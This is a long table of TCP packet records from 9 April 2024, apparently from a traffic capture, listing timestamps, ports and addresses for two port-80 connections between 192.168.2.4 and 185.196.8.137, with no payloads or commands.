Apr 9, 2024 14:54:04.940674067 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.940721989 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.940748930 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.940819025 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.940823078 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.940897942 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.940932035 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.940995932 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.940995932 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:04.941029072 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.941122055 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.941255093 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.942581892 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.942615032 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.942646027 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.942678928 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.942709923 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.942760944 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.942823887 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.942856073 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.942888021 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.943870068 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.943996906 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.944794893 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.944859982 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:04.945339918 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.088336945 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.088402033 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.088443041 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.088481903 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.088478088 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.088522911 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.088542938 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.088542938 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.088562012 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.088576078 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.088603020 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.088608027 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.088643074 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.088659048 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.088680983 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.088699102 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.088720083 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.088731050 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.088757992 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.088764906 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.088795900 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.088808060 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.088835955 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.088846922 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.088874102 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.088890076 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.088912964 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.088920116 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.088949919 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.088962078 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.088988066 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.088999033 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.089030027 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.089040995 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.089066982 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.089080095 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.089106083 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.089119911 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.089143038 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.089145899 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.089181900 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.089221001 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.089234114 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.089258909 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.089267969 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.089297056 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.089310884 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.089337111 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.089349985 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.089381933 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.089396000 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.089420080 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.089437008 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.089457035 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.089474916 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.089494944 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.089503050 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.089533091 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.089548111 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.089570999 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.089582920 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.089610100 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.089621067 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.089648008 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.089663029 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.089687109 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.089690924 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.089724064 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.089761972 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.089773893 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.089799881 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.089812994 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.089838028 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.089854002 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.089874983 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.089885950 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.089914083 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.089951038 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.089960098 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.089960098 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.089987993 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.089997053 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.090028048 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.090038061 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.090065956 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.090104103 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.090111017 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.090140104 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.090156078 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.090178967 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.090192080 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.090218067 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.090234041 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.090251923 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.090256929 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.090295076 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.090310097 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.090334892 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.090342999 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.090372086 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.090389013 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.090411901 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.090421915 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.090450048 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.090462923 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.090487957 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.090501070 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.090524912 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.090536118 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.090562105 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.090600967 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.090614080 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.090639114 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.090666056 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.090677023 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.090687037 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.090717077 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.090727091 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.090754986 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.090765953 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.090792894 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.090806007 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.090831041 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.090843916 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.090868950 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.090878010 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.090907097 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.090919018 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.090946913 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.090984106 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.090996027 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.091022968 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.091038942 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.091063023 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.091078997 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.091099977 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.091137886 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.091160059 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.091176987 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.091207027 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.091214895 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.091228008 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.091252089 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.091288090 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.091327906 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.091361046 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.091367006 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.091408014 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.091424942 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.091443062 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.091463089 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.108561993 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.108592033 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.108608007 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.108623981 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.108639956 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.108656883 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.110593081 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.117290020 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.117326021 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.117546082 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.117983103 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.117997885 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.161355972 CEST	80	49740	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.162089109 CEST	49740	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.268332958 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.268400908 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.268438101 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.268441916 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.268486023 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.268523932 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.268526077 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.268523932 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.268523932 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.268649101 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.268691063 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.268711090 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.268733978 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.268740892 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.268774033 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.268789053 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.268835068 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.268848896 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.268887997 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.268944979 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.268963099 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.269021034 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.269073963 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.269114017 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.269125938 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.269176006 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.269186020 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.269237041 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.269258022 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.269318104 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.269335032 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.269473076 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.269532919 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.269577980 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.269634008 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.269690037 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.269707918 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.269747972 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.269773006 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.269798040 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.269853115 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.269926071 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.269949913 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.269970894 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.269989014 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.270011902 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.270030022 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.270056963 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.270087004 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.270139933 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.270189047 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.270226955 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.270282030 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.270298004 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.270380974 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.270400047 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.270438910 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.270503998 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.270514011 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.270565033 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.270606041 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.270646095 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.270658970 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.270698071 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.270718098 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.270756006 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.270811081 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.270915031 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.270956993 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.271019936 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.271090984 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.271162987 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.271173954 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.271200895 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.271218061 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.271302938 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.271306038 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.271425009 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.271493912 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.271533012 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.271589041 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.271606922 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.271647930 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.271706104 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.271718979 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.271759987 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.271774054 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.271811962 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.271830082 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.271882057 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.271900892 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.271972895 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.272011995 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.272031069 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.272062063 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.272084951 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.272139072 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.272186995 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.272277117 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.272277117 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.272339106 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.272501945 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.272568941 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.272608995 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.272648096 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.272691011 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.272708893 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.272747993 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.272762060 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.272800922 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.272815943 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.272840023 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.272855997 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.272898912 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.272945881 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.272984982 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.273042917 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.273056030 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.273094893 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.273118019 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.273133039 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.273139954 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.273185968 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.273202896 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.273257971 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.273273945 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.273328066 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.273344040 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.273536921 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.273597956 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.273637056 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.273693085 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.273709059 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.273763895 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.273802042 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.273838997 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.273861885 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.273905993 CEST	49741	80	192.168.2.4	185.196.8.137
Apr 9, 2024 14:54:05.273910999 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.273984909 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.274025917 CEST	80	49741	185.196.8.137	192.168.2.4
Apr 9, 2024 14:54:05.274040937 CEST	49741	80	192.168.2.4	185.196.8.137
